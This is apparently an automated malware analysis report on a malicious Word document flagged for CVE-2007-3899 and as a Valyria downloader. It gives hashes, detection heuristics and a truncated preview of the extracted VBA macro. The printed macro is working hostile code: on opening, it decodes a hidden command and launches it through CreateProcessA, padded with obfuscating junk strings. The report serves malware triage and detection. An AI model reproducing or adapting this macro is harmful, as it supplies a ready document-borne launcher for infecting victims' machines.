Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fdaa2575dd793c58…

MALICIOUS

Office (OLE)

91.5 KB Created: 2018-03-12 22:31:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: a7dd383e168be022212d7516a1bdc331 SHA-1: 6773f6501ea18dda9f0ef0f3c4455b5687421509 SHA-256: fdaa2575dd793c58be1cddcc47244a663d17424489b4e4215ac19c73df31b1b0
200 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample is a malicious Microsoft Word document that exploits the CVE-2007-3899 vulnerability. The presence of a Document_Open macro and a reference to the CreateProcess API strongly suggests that the macro is designed to execute a payload. The ClamAV detection name 'Doc.Downloader.Valyria' further indicates a downloader functionality. The VBA macro code, though truncated, contains declarations for `CreateProcessA`, confirming its intent to spawn a new process.

Heuristics 8

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Downloader.Valyria-6666912-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6666912-0
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    #End If
Public Sub Document_Open()
Dim K_Q As String
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
Dim FT_B As String
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20869 bytes
SHA-256: 31f525fccd2ba95f22e0d9d16daead065de59231512e698b59f9ba18f51c18f1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 52 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
#If VBA7 Then
    Private Type DHV_IGE
        Y_G As LongPtr
        AAB_NMD As LongPtr
        Y_ON As Long
        B_WS As Long
    End Type
        Private Type LG_EHN
        TX_V As Long
        DEZ_L As String
        PW_K As String
        WHH_Y As String
        AHM_N As Long
        D_P As Long
        P_DQF As Long
        BL_KRN As Long
        HCD_YWK As Long
        S_BBE As Long
        XTH_V As Long
        GAH_E As Long
        GDZ_Z As Integer
        Y_NU As Integer
        DEZ_L2  As LongPtr
        LED_X As LongPtr
        YUN_XID As LongPtr
        X_AD As LongPtr
    End Type
    Private Declare PtrSafe Function CreateProcessA Lib "Kernel32" (ByVal UM_PD As Long, ByVal U_VQ As String, K_KY As Any, H_HH As Any, ByVal JT_M As Long, ByVal DWU_OI As Long, ByVal NJ_JKX As Any, ByVal D_QMB As Long, XD_WT As LG_EHN, O_UK As DHV_IGE) As LongPtr
    Private Type FPG_CKT
        H_JF As Long
        V_IKN As LongPtr
        JYM_F As Long
    End Type
#Else
    Private Type LG_EHN
        TX_V As Long
        DEZ_L As String
        PW_K As String
        WHH_Y As String
        AHM_N As Long
        D_P As Long
        P_DQF As Long
        BL_KRN As Long
        HCD_YWK As Long
        S_BBE As Long
        XTH_V As Long
        GAH_E As Long
        GDZ_Z As Integer
        Y_NU As Integer
        DEZ_L2 As Long
        LED_X As Long
        YUN_XID As Long
        X_AD As Long
    End Type
    Private Type DHV_IGE
        Y_G As Long
        AAB_NMD As Long
        Y_ON As Long
        B_WS As Long
    End Type
    Private Declare Function CreateProcessA Lib "Kernel32" (ByVal UM_PD As Long, ByVal U_VQ As String, K_KY As FPG_CKT, H_HH As FPG_CKT, ByVal JT_M As Long, ByVal DWU_OI As Long, ByVal NJ_JKX As Long, ByVal D_QMB As Long, XD_WT As LG_EHN, O_UK As DHV_IGE) As Long
    Private Type FPG_CKT
        H_JF As Long
        V_IKN As Long
        JYM_F As Long
    End Type

#End If
Public Sub Document_Open()
Dim K_Q As String
K_Q = "8A8A8AC3768A8AA78A90668A528A8A8A648A5F8ABD8A7BBF8B8AB48A998AC77A5D558A8A8ABB8A8AC38A828A8A5B8A8AB6AD8AAB8A708A8A4E8A698A8A8AC68A8A8A8AAE678A85A58D8A8A8A8A7A8A8A8AB3CA8AB18A7C8A8A8A8A6E8A708A8A8A665569B8998A8A50B38A5D80758A788A8A5E698A8A8AAF8AAD6F8A82ACC68A8A515F8"
Dim YBQ_C As String
YBQ_C = "A8A8A8A8A8AAB698A8A8AB78C87A88A8A8A588A8A8A6C8A5153688A6F8A92956A7DAEAC7B8A8A90638AA77E8A7069978A798A8A8A8A668A8A8AA34C8AB66A6F8A677690C58A8ABCBF8A64828A8A8A8A8A8A8A6BBAB8B08A928A808A8E8F72B2875A8A548A52908A8AB1B3528A8A6E61B97C61C08A8A8A8A8A8A8ABCAE797B8A8A8A8A8A"
Dim HWH_IO As String
HWH_IO = "8A8A8ABA8A5450A88AAE615D8A8A5D5B8A88A4BE9C99548A60738382C78A8A8A9389C1B38A51B58A8AA58A8A8AAA8AA368C48A8A8AB18A8A8A50A4B78A8A8A65C4928A8EAA8A8A8A8A8A8A8AB98A938A644E6877958A8AC78A8A8AC58A6CA38A8A8ABE8A8A8A8AC28A509B618A6E8A8A8A978A8A4B5D8A8A8A82C75C988A698A8A63948"
Dim M_W As String
M_W = "DBEB6738AA4B0538A8A4E8A8A8AA58A5CB1BD8A614D8A5E8A4EC98AC35558A0558AC6AE8A8A828A8A7E8AC7C387B98A8A7E8A8A76BB765F8AA18AAC8A8A8A8A8A8A7F8A8A8A76A86862567EC28A8C618A8A8A8A649B9A8A9CC08A5789538A8AB7848A8AB35FA359A46A8AA68AB88AA0669C8A8A8AA98AC4B18A8A558A758A8A8A8A8ABD"
Dim U_EFC As String
U_EFC = "BC8A8A7BB88A8A6B915F8A6E8A8A8A8A9F8A8E8A8A9A9C8AC88A8A8A8A8A8A8B668A8A8A518A90AEBC9E8ABE74676B8AAFAA8A8A8A92BB8A698A9B8A8A4FC58ABE8A8A8A8A878AB395628A8A8E9F8A54769D6F67948A8A848AA58A8A8A9A7A8A8AC2AF8A8A6E8AA68A7ABF83BE8A8A8AA38AA18A758A7F8AAE9E8ABD8A768AC28A8AA59"
Dim UI_YU As String
UI_YU = "56DAE7A8A8A8A8A5E8A8A688A9F4D8A8A8A8A7A64AF8A8A8A5A4F8A8A8A77B8A28A8A8A8A766C7C8A8158698A8A598A8A5E8A65548AAA8A8A8A958A8A8A708AC48A66698A8AC6598A8A8A8AC1B88A6E51648A878A8A6D516B8A8A8AA18A8F8A6C6B8A8ACA8A5F83576B848A8A59627D8A8A8A8AB78A8A8A8A628A8A8A828A6E9F8AA0C0"
Dim JQ_OHH As String
JQ_OHH = "92734F8A7AAA8AA7775D8AA3918A8AB7C6AB72988AB26161938A60BC8AB0088A5D8A8A8A8A8A618A8A8ABE8AC19278728A875D8A83A58A8A8F8A708AC88A8A8AAAA7C7AB8A8A8A8ABC688A8A8A8A8A818A928A8A538A8ABDAF8A9A8AC28A8ABC8A8A8AC07F4EAD8A8A508A8A758A8A8A628A8AA35A8ABC835D848A8A8A8A60538A768A8"
Dim XFB_OAI As String
XFB_OAI = "A8E998AC4AA8A8AB08A548A8A8A8AA48A8A4F8A8A74928A828A8A6C8A8A8A7F8AA84D8A8A8A8A8A8A8A8A69688A758A64A38A8A9D6F8A8A8A8A8A548E8AA24F8A8AB28AC579628ABB908A8A6CC76582C3BD8AA4678A8A84C1998A8A8A8AB38A758AC58BA68D7F8A8B8570588A8ABA928A8A8A8A8D8A8A50A579BC778D668A8A8A8AA84C"
Dim S_R As String
S_R = "8A8A80898A638AC3BF8A8A8AA18A8AC1778AC08A778A528A7091817B8A755C908A8AA78A8A8A508A8A988A8A6E8A8FA8B98A8A8AAF82578A8C8E8A8AA98A8A518A938A8A8A8A5C8A54AB6E818AB08A8A8A8A7B8AA58A8AB4978A8A84CA8B867DB789C0718A8A8A5B9DC74D8AC355A1C38A8A8A8A8A8A8AB1A1B78AA78A8A868A708A8A8"
Dim GT_QJM As String
GT_QJM = "A8A5E8A6A8A8AC9AA8A8C9781B98A8A8ABD8A598A8A548A6BC48B83B78A8B8A8A7FA88A8A8A8A8A8AC7A55A8AB48A7A8AC98A668A9F55998A778A908AB34C8A8A858A538A8A8A8A718A3A8AB15A8F548A55928A8AB98A8AC68A8A7A8A4E5EA3B6567A64718A67A08A8A8AA58A67A3876AA98A62518A738A927C5E8A8A8AA167A68A768A"
Dim WQ_TPT As String
WQ_TPT = "8AA875828A8A778A528A8AB18A9F4FAF8AC5538A80607A4F8A888778A36E4B8A8A639498A08A74B28A688A8A8A8AA1C68589B78A6DC48AB78A72548ABB8A588A8A5ABF8A668A9A8A9C8A8A636D80978A8A8A8A658A68B8B1AC8A788AAB8A625A7D908A9EB5AB8A8ABA8A8AC78A95C18A728A8A558A8A598A8A4C6CBF8A8A538A8AC8ABA"
Dim IY_NZU As String
IY_NZU = "775918A8A8A8A8A769DACC891AB67728A51908A6B8A8A8A8A8A8AA48A828AAF9AA58A8A578A6F8A8A8A5EBEAE8A8A8A8E8A948A8A8AA7958A619E75838A668A648A509EAE8A9C6C60BE8A8A8A78BD5B8A8A8D8A9A8A5A8AB7C46B8A8AC07A8A95A4B78A8AAF8A97728A8A53A9AD8A8A8ECA8AAE8AC39E8ABE8A8A9BC28A8A958A8A508A"
Dim O_CSV As String
O_CSV = "5D788A9872888F8A5961AD8A8A6A8A8A7D8A518A588AC56C8A8A5B8AC55F8A8AB8C48A7F9B608A8A8A8A688A8AA37A8A628AAB8AAB8ACA8A9B77C15A8A9BC2A98AA0558A8A8A8A6F8A4E8A5F8A8A8A8A8A69687C588A8E8A4B8A778A8A8AA38A8A64948AA98A57C68A87BF8AA28AA0A48C8A8A8A8AC88A538A958A6EA88A755D8A4B8A8DCA8A8AB58ABF9D8A8A7997628C4C958A8A8A8A5E8A8A68905DAD61A2658A628A8A698A8A8A8AAE8A668A5CBE8A5BC35B92"

    UZK_XW
End Sub
Public Sub UZK_XW()
Dim PVC_V As FPG_CKT
    Dim MC_TQ As FPG_CKT
    Dim KNC_S As LG_EHN
    KNC_S.GAH_E = &H1&
    Dim PPK_AQT As Long
    PPK_AQT = &H20&
    Dim J_G As DHV_IGE
    Dim CX_H As String
CX_H = "4D8A4F8A8A8A8A8A8A8AB58A8AC59F8A5DC98A8A8E926393848E7DB65C8A8AD358B6A8B1A98AC58A635A8A7A8A8ABB948A878A648AC4B5B7B28A8A8A931B8A7557B88AAD8A6A8AB967BC828A64C1B98A6D808A8A8A4B8A8A8A8A8AAA9FBC8A4F8AB38A8A7A675C8A8A537E8A99706F8A708A8A8AC2BC8A8ABC8AA8C28A8A688A5F8A518586518A8A5"
Dim S_A As String
S_A = "28A8A5F8A8A668A85BA5B8A8F8A8AC08A8A8A605D8AB76985AF698A8A8E8ABA8A9965A88A8AA78A8AA2818A8AC7C28A8A8A8F8AAB8AC0828A9D9A889775688A8A8A638A8A87C28A8A80BD8A8A556F4DAD8AC88AB28A8AAA967C658AB58A83618A4C8A52C57559758A8A9AA19376868A8A8A8A8ABF8A76A9C3968A9357B88AC14CCA8A4E8A8A8A8A8A"
Dim AA_T As String
AA_T = "84544E518A4C8A8A6E8A968A50BA75998A8AC58E8A9F8A85B58A8A8A878A82858A73A38A958AC98A8AC38A5AB98A8A558A9C948A6B8A9B8A8A5278748A5A7C8A7FA171BF8A8A8A8AA56C8A8789A58A8A538AC58A8F8AC4528A8A8A9B8A5B8A92798A628AC859648A988A8A4D5FB0868A906B8A8A8A8AB8508A8A5B5E8A5BCAB6A58A8ABE3B8A8AC18"
Dim EET_IV As String
EET_IV = "AC3B5568A8D628A998ABE8A5A5482568A4D8A8A6AA08A648A8A588A8B938A81C5BFB48A8A8A8A8AAE8A8A8AC4C78A868A8A8A8A8A868A9B6C5696548A598A8A8A8A8A8A8A4E52698A716DBC63738A858D8A718A8A848A8AC98A8AC08ABD8A8A85B88A8A8A8A8A618A8A798A8A6E82AF8A8AA98A8AA56C8A638A4C8A8A7D8A8A7B8AB098934FC8678A"
Dim Q_FWR As String
Q_FWR = "8A618A8A8AAB8AAC8A8A5E8A8A8A965AC08A588A698AAEC9578A808A618A8A8A8AA58A56678A6885908A8A898A8A815964898ACABB8ABE8A8D8A83768A96AF8A7D8A608A8AB28A978A8A708A888A718A8AC6BBA08A4CA38A8A8A5AA7958A8FB58A8A8A955E628A888A8A8AAC8A8A4F7BBE8AC98A8A5F8A64E38A8A89888AC1AD8A788A8AAF8A628A5"
Dim ZG_UFO As String
ZG_UFO = "38AC3B88256768A8AA0858A8A8A7C928A8A988A8A8A8A6D8A8A9D8A62658A56688AA9968A8AB1A9668A7262948AA6A08A8A8A9B98678A96CA7F8A8ABA8A8A6D8A8A8A936B8A90A88A668A8A8AB28A8A958AB58A4C5F5E8A8AC08ABA5FBF8ABB618AB68A8A8D568ABC9A8ABCB04FAB8A8A8A658AC68AC88A8A8A8A6D518A8A679B8AA18A64C5AA8AC2"
Dim R_Q As String
R_Q = "8A8A8A8AC55B8A5A99C988A08E9B8A54888A8675B2B58A808A6B8A8A8A8AC6A398A78A5D8A8A6C8A7E5E8A54B88A58B98A8A8A8A6E8A5B828A8A9AA5B48ABE8A4D8A538AC38AC2C68AC68A9E8A8A8A8A5D838A8A8A808A968A628ABD8AA1998A61518A8A718A888EAB9B8A8A8A8A878A937C8A8A8AA78AA98A8AB78A548A708A8A8A8A8A538A8C8A8"
Dim LST_QP As String
LST_QP = "ABAA08A8A8A668A8A8AC96FA059908A8AAA8A698AA18A8A4F538A8AA88A948AAC516DAB568A8A8A6C8A4C9E8AA159B28AAA6D8A8A638A568A8A7CA287B26B8057668A8ACAAD898A809F8A8AAE8ABF938A8A8AB48A938F61B28A8A85BE8A698A918ABEB68A8A8A8A8A4C8AB88A936D8A8A8A6EB38A6B8AA98A8A8A8A4F8AC6808AB58A6A548A796857"
Dim KQ_R As String
KQ_R = "8A8AB08A69AD8AA2CA768AAE8AB38A575D5D8A8ACAB2828A8A93CA8AA7AA51A68A72808A5DC48A8A4D9B869B8ABC928A8A67826F77C48A8A8A8B64B6C96D8A8A538A8C8A8A8A8A998A8AC7618A8A628A838A8A8D8A818A8A828AA883C98A798A91938A7B8AC18A8A8A75888A8A7A738D7E8A958A708A688AB58A8AAB8AC48A8A8A8A88678A8AB19D8"
Dim E_M As String
E_M = "A8A57BA8A9A8F785B86988A8A8A6BC28A858A8A6E648AC7ABA08A8A578A8A858A8A8BC08A66A5BF9A8A767E528A8A8A8955A38ABA8A8AA68A9A8AA2864F8A8A9D8A7C8A7B8A6AC8B98A8A94A48AA3778A938A8A79BFB48A8A6C4D83968AC98AB4AF8A5E589B845B4B8A928A8A858A5A8057AE8A604EB793C1718AC6818A8A51B38AA58A638A8C5A8A"
Dim E_ZA As String
E_ZA = "8AB1778A5A8A8A4E73608A65849FAB928A75878A8A8A8A8A8C528AA68AC08A9F558A8A8A8AB18A60C258BD8A8A7A8A8AA79774628A518A72BF8A8A538A7C8A688A798A8A52617B8A71698A8A5D8A5DB78A8A8A968A8A4F8AC08A8A8A588A8A8A704B8A809F808AC18A8A8AA5AD8A726D8A8A9FB490758A9986728A8A64998A8A8A8A5C8A8A8ABF9E8"
Dim QC_U As String
QC_U = "88A678A66B4598A8A8A719EC76B8A8A8A8A6359AA8A8A69AA8A6D8A8ABE8A5E4C76BB586C7E8A648A8A7A738AC9B38A868A8AB08ABD8B8A8A8A8A8A7D88C1728BC68AB98A8A918A8A8AAFBB8A8ABB8FB98AB88A588A7B8AB8C28D788A8A8A4C984EBFBABE8A5F95BB9C8A8A5E6E8A6A8A8AB08A8AB986898A9C874E8A63968AB98E8A8A8A8A8A6E88"
Dim FUP_AA As String
FUP_AA = "8A7E9EC0948A6E8A8A868A938A8A837C7E8A8A918A84857A8A8A8A6D8A8A7F8A9F8A538A8A538A8A8D9C5B8A718A932E8A838A8A8A8A6E8AB48A4B8A8A8A8A8AB18A7B91B48A83B0B18A74BBCAA28AAA7B4C99C08A8A7A5A8A8A8A8A8A9EA652BE6DB08AA7A88A8AC17A8A8A9B5D8A8AB18E8A8A8A6BCABB4B848A8A8AB3567F9A8A8A8A8A8E8A8A8"
Dim XY_CS As String
XY_CS = "B5E8A8A5F8A58A28A8AC6C68ABD8A8A988AA3514C95908A8AA28A9F8A62698AB78ABE6F908A878A8A8A8AA38A8A678A9D818A898AAE8AC4B4AA4B8FBB8AAF8A8ABC7070738A8A8A738A8A708AC88A8A8A8AAC8A8A8AAFB48AB4878A7F8A9E548A8A8AC48A8A8A616D8A8AC58AAA8A8AB18A4D8A8A8AACC78A718A8ABC8A8A8A7D598A848A848A8A8A"
Dim I_MA As String
I_MA = "847C8A8A8A8AC2AC8A528A8A8A8A7F8A8A8A8A8A7FC09C5B8A8A957FAF985473968AAF8A8A8A8A4C8A8AC68855878A558A8A8A8A8A978A8A8A8ABBB48AB78A8A668A8A7C8A8A9E8A5E51938A8AA5C95B8A8A6E63718A528AC865BB5CC18A8A8A6184628A8A5EB29DC28A8A8A83608A8A5C8A4EA68AA484C88A8AB38A8A8A6CB2938A8AC05BA78A8AA"
Dim HE_UTK As String
HE_UTK = "5708A8AC35B8A8A91B2B98A8A8AB48AAF8A4F8A8A8AB98A65898A8A9EB58A8A8A8A8A8F8AA48A8A8A8A988A81A68ABA8A79B18A9C8A8A8AA759AE5E4F8A8A8A8A8A8A7A8A8A648A8A8A8A8A8A8A818A6DB76C6C8A8A9C8A8A8AC18A8AB78A848A8A8A8A8A8E97678AA3AF5CC482787A8A8A8A8ABD84A29A8A7A8A8A8A788A8A798AAB688A87738A50"
Dim FEP_UP As String
FEP_UP = "8A8F8A8A8A948A9C8AB8A97AB08ABAB6885F8A8A8A758AB296828A5C8A8AB050CA8A8AB58A708AA48AB98A70968A8AB4A48A5F778A8A6465B18397C78A8A7752A38A8A8A508A63B39A8A8A8A8A67988A53AFB08A9C8A8A8A8A9B658AAA8A7B8A9E698A988A698ABA8A8A8A8CBAB9958ABE91778A8AC98A8A8A8A7654BCC48AA18A748A8A8A8A8A8A8A718AB78A8A4D8AB58AB2BF8A8A9E8A8AB6A9"

   Dim WV_MS As String
   Dim SRO_E As String
   Dim T_ABH As Long
    Dim TV_K As String
    TV_K = ActiveDocument.Variables("BIVETI1J").Value
    GoTo x2
x1:
    Dim X6
    X6 = CreateProcessA(0&, WV_MS, PVC_V, MC_TQ, False, PPK_AQT, 0&, 0&, KNC_S, J_G)
    GoTo x3
x3:
    Exit Sub
x2:
Dim OAL_YN As String
OAL_YN = "8A6D4E7B5C8AAD8A528A8A728A9B8A8AA6B2B48A8AC5618A5E8A8A8A8A8AA28A8A4B8A8A5EAE6D8AB2588A8A8A8AC7A3AB859D8A8A8A918A6A8A8AB8698A8A8AB88AB461934E9263C7B8748A858D8A6F8CA08A505E8EA48A8C608FA48A8A8A8A698A728A5D8D6382568A6D848A968A8A8A778AAB8A8A74B68A8A7D8A8AB08AC97C8A8D65575C8A88A78AB16C6A8A8A9DB18A8A8A708A9F748AC387B88AC368938A8A8AB98A8A8A788A4F8AB25397528A8"
Dim BYJ_RXP As String
BYJ_RXP = "AA3B5BC8AA48A8A63678A8AA28A8A698AAF868A8A8A918A8A8A8A8A8A76808A516B8A8A8AAC8A8AB28A818A7F6A8A948A8A8AA3578A8A76628A514FA172B38A4E9B8A73928A4D8D8AB68A8AB74DB1BE8AC3B98FB5808AB64B8A8A8A8A5BCA8A858A8AA68A4D8A8A8A8A7C8A5FA38AC08A6F7F8AA1A3738A8AAA998AA6C98A7DB58A628AC0CAAA8AC9A38A8A8A96ABB67C8A508A4E8AB1728A858A9183C98A8A8AC58AB3848A9F9B8A8AA58A555E8A9E74"
Dim M_IMR As String
M_IMR = "8A53778A8A5F6C5AA38A8A5DC79AAB5DC18A8A8AC48AAB928A67BC988A688AC1AA538AB18AA38A8A8A8A72569A8A8A528AAB766EC673B38A8AA486B2A48A8A8A8A4B558ACA73BB8A8A4E8A8A8487B2708A90568AA09D8A8AC08A8A8A8A8A9F8A8A767D9A8A508ABB8ACA75C2C48AC58A8A618A5E8A838A8A66756D8ABCBB52C08AB458546282008A8A8A72B8B18A8364598A8A8B5F8A8A8A7F8A8A8ACAC38A8A66B78A8A8A8AA286B68AAA8A8ABE8AA2A"
Dim Z_KT As String
Z_KT = "DC38AB98A8AA98ABF8A4B8A98A8BD8A8A8AD37E8A768A8A9E8A978A8ABB748A688A7CA4507A8A7F8AB48AA18A68BE8A525C8A8A8A798AA38A8A8A5CA7BFC48A8A7BA88C968AAF8A9C88909C8A83808AAAC98AAD8A8A808A8A7A8A586D8A8AAC8A8A8A608A8AB0C68ACA8A528AAE8A8A8A8ABF688C73B3C1C78A8A798A9B8A5D8A92748A8A608AA18A8A8A8A7CC3BB8AB9C3568A8A8A8D908A4F9B987E628A5C67B78A668A8A8A8A8EC18A8A8AAD8A8A8A"
Dim R_K As String
R_K = "C2518A8A87BCC78AB3CA508AC98A4F8A6057BE8ABC8A668AB4C18A8A8A5B8A8AB09C8A8A618A7A8A8AA8B5BC8A8A8A8AB48AA19592BC8A8A7D7C8A8AB2A28ABE96776577B58A8A8A4C5F858A538AC98A6F8A8A9693688A8A8A8A9AB58A8A5E8A98918A8AAC8A8AC5AD91A88A8C74A5928A8A578A757997998B8A8FBC6E78A371618A8A8A581F8A8A8A8A7F8A8A8A6E8A7A8A904B6D62CABE6BC48A538A634FBC76B98A8A8AC3828A8FA28A658A8A9B999"
Dim YN_C As String
YN_C = "F8A8A8A618AC37E8A8A658A8A8AC98ACA97768A8A988158898A8A8AA48A8AA88A8A66A58A5F8A9BAC998AA8988A8A8A95A262CA6F8AB98ABE8A8A8AC88C62B78A5A8A8A6E7DB5C18A788A598A8A908B71B54CBE7A838AC6B58A87668A8A57728A8A8A8A8A72708A53958A8A8A5E8AC58A5E8A8A879E608B8287C078A68D948A8A8A8AA7AA7A8E8A8A718AB18A8A998A8A8A518A8A8AB98A8A8ACA8A5393978A8A608065AD8AAE8A60B08A8ABA8A8A8A86"
Dim ZVX_U As String
ZVX_U = "C48AAE7F8A8A8ABCA37791C58A68A2588A8AC08A8A4CB48A8A54704F9A8A8A8A8A8A8AA3C78A8AA78AC1828A8ACA8A8EAC9B84587E8AC39F8A8A8AAD8A6CA694958A63998A6B598A748A8A7C574D8A8A8A8A8A8A7FA2858A8A8A958A8A668A985FB18DC68A7B7690558A8A6D8A8A8A8A8A7E8A8AA58A8A8A8A67845AC88A8ABA8E8A8A6E9D908BC6C78A8A9AB4628A9D4CC78A8AB6978A978A968A8A668A4CC98A8A8AC78A8A7F6F8A5F8A8AC1808A584"
Dim ER_B As String
ER_B = "B8A914E8A8A8A51A38A8AAC8A7B988A838A734B8A8A82738E828AC1A55A59968AC58A714F84C0A48D8A8A8A8A918A888C868A8A8A8A8AB48A938AA0C09E658A8ABB9B8A8AB28AAFC19F8A6783638A738A8A698A638A8A8A78C28A85BB8AA78A7C8ABF8A8ABF8F808FB55C6054768A878A759D8ABE8A837A56B1A872C5988A8A8A8A8A968A8A7B9E8A8AB58A8A8AC84C8A8A90AA8A8ABA8A908A8A62678A8AC09768608BA88AAC8A8A8C8AA28A8A8A8AA6"
Dim C_V As String
C_V = "A58A8AB0A98AC68AA98A8A87AF7ABE848AB3B38ABA628296ABA38A62768A4D8A8A8A8A8D8A8AAC8A8A858AA48A8AA58A9BAE688A8A8AC8AF4F508AAFB68A8A8A8A8A8B7CBDA28A528A8A8A8AC6A57D8A8B8A716C8A878AAC8AADACA5C98AAB8C86658A8A56BFC48A8C8A8ABDB08A8A7C8AC68A8AAA8A4EB65BBF8A99AA8A8AA88B8ACA8A7FBB8A8A8AB38A8AC87B8A7B8A4E748A8ABE62928A8A8A508AC0A78A5394AF8A8A91A86F8A7C8A8A6C8A8A8AB"
Dim HD_VWP As String
HD_VWP = "48AA6B64DC68A73827B8A8A8AC88A8AC258BF8AA3C9808A8AB44F8DC78A8A8A8A8AB8658A8AC787C4AE8ABC95AB8A8A6A5E8A8A8A9A8A8A8AC28A8A8A8A8A6F8A8A818A798AB5664F8A60A4698A8A8A8A688AA88A69C79C90608A8A8A97A8C9A08A8AB7BD8AC98A91C58A8A8A8A8A8A808A7B63A57F8A8AC48A5D8AB7578A70AB4C8A8A8A8A8A8A8A568A8C678A8A8A8A628A9887C1AF8A8A8A8A8A66848A8ABF8A4C86A98A8AB1C4B074698AA78A634B"
Dim BP_VPQ As String
BP_VPQ = "8A8A8A8A6E8A8A8A8A8A4E8A5E8A8A5C8A8A8A8A8AB3AF758A8A5B868A808A608A8AC08E8A8A9C96BA8A8A6F8AB9B08AA1578A8A8A6A95888A8A8AABC5A08A8A8A878AAF8A958AA18A8A7D8A8B8AC4A88A8A8A818A6F8A8B838A8A8A8A8A648A66768A7C8A728A8A8DAAA58A63C19C87C14D8ABC539B62B292768A958AB08ABB8A8A5F8A928AA8675A8A8A51738AAB8ABC8A8A8A8A5E8A8A8AC1B98A8A6F8A8A87AF7A8A8A9F8AA68A8A8A69B4C68AADC28A8A8A8A4C8A8AAC7B8A8A8A818A8A6EA98DB88E9F8ABAC88A8AC18ABB8A568A8AA78A8A86BFC38A806EAC8A598A8ABEA2746B548ABF87BB8A508ABF8A8A8AC5508A8A8A558A8A8A8A597B928ABA6D888A69638A8AC34F8AB8C58AB98A6BB0AD8AA654877E8AB3BA89A17D8A8E8A8A5F8A8A8A8A8A8A8A8A7AC75B8A8A8A89B18A55A38A8A8A8A91B78AC38A8A8A818A8A8A8A8AC88A8A638A8A8A90C78A"

   For T_ABH = 1 To Len(TV_K) Step 2
        SRO_E = Chr("&H" & Mid(TV_K, T_ABH, 2))
        WV_MS = WV_MS & Chr(Asc(SRO_E) - 75)
   Next
   GoTo x1
End Sub

Sub Workbook_Open()
Dim FT_B As String
FT_B = "8A8A8A8AB58A5D87758A80A0B78ABF8A8A558B8A96BA8A578A749C8A928A8A75606D51A0AE578A728AA0B58A69C7784F6AC58A785EBF8A8A8A8A8A8A8A8A8A76A18AB88AB58A8AA88A648A7B8A8A6F8A73A38AC6618A8A758A8A8A8A8AAD8A9B8A70B68A8A5A8AB88A8ABE9CB88A8A4F8A8A8A5B5F8A778D8AC44B8A8A8A8A8A4E8A938A58AB8A6C8A948A6D8A4B8A8A8ABB8A9E8ABAB4B88A8AAA8A709F8A4B619D4D4D"
Dim V_NU As String
V_NU = "8A8A56B48A8A8A8A9A8A8A9D8A8A61C48A4F8A8AC94EAEC58A8A9F898A8AC18A87768A7F8A4F8A8A8A8A8A8A578A8F89B69A5DC4BFAD7F8A8A8A8AC68A8A51C28AAE8A8A8F8A8A6E8A5A8A698AB98AC5618A808A8A738A8A8A8A8A708A688A8A8AA3A28A8A8A718A5DA18A9D938A5F8A5B8AB08A79C68A8A8A8A8A8A8AB58A6970898561908AA38A8AB38A8A8A51C2C660838A707C8A8A8A8A8A8AB88A838A7F6EC58AB4"
Dim AL_R As String
AL_R = "8A58698AB58A8A4D598A8C9A8A7C6A8A8AA8979063A68A8A8A9D8A8A8A5D958A8A529391538A8A8A8D77B9BF8A8A867A8AC8678AC88A8A8A8A668A798A88C58ABF8A93A0B193A0635E8A628ABE62A78A6A8A8A6E8A7498B38A8A978B5F8A7C8A7561958A8A728A88738A8AC58A67BE8A718A8A928AB7C68AA88AB3B38A5F4E8A9A678AA78A8A8A8A8A8A8AA9AA8A8A8A648A4D8A908A8A8A718A988B5E8A88768A91628A"
Dim DA_LF As String
DA_LF = "9A8A8A5379BB67B38A898A8A948AC88AB18A628A958A83848A918A8A6C8A8A8ABE8A8A8AC08A6198C8658A8A71BB8A63638A8A8A7A9F8A8AA39E628A9E928A9259B5AC7B8A5E8A8A8A8F7A608A5D8A998AB88A6FA569B0778A6D8A798A758A8963518A8A8A5CAF5B9D8A8A8B8A8A8A8A8A4E6D8A968A4F8A8A5164A6AABF8AC58A8A6A8A5D8A585D8A8A8A7D8A558A8A8A66AF8A8A8A8ACAA98A8A747A91668A8A58AD5B"
Dim R_KF As String
R_KF = "8A888AAC8A5A8A8A8A8AAD8AA48A8A6A4FC368698A8A6166C48A628A844E8A9B568AC88A8A8A8A8A8AAEAE8AC88AA68A8A558A8EC870718A8A72BFBE96DAC1A6998A8DBB8A8AC9715D7F8A8A8A8A8A8AB68A8A588A8AA18A8A768A7F8A8A696C8A8A639C9593BC67B58ABE938A808A8AA5A18AC4998AB78A8A7F9D8A8A8AB38AB4728A8A6B8A8A8A6E8A8AA38A8A8A95888A8A8AA1768AAE5E69C68AA88A8A5C8AAD5E8A"
Dim W_S As String
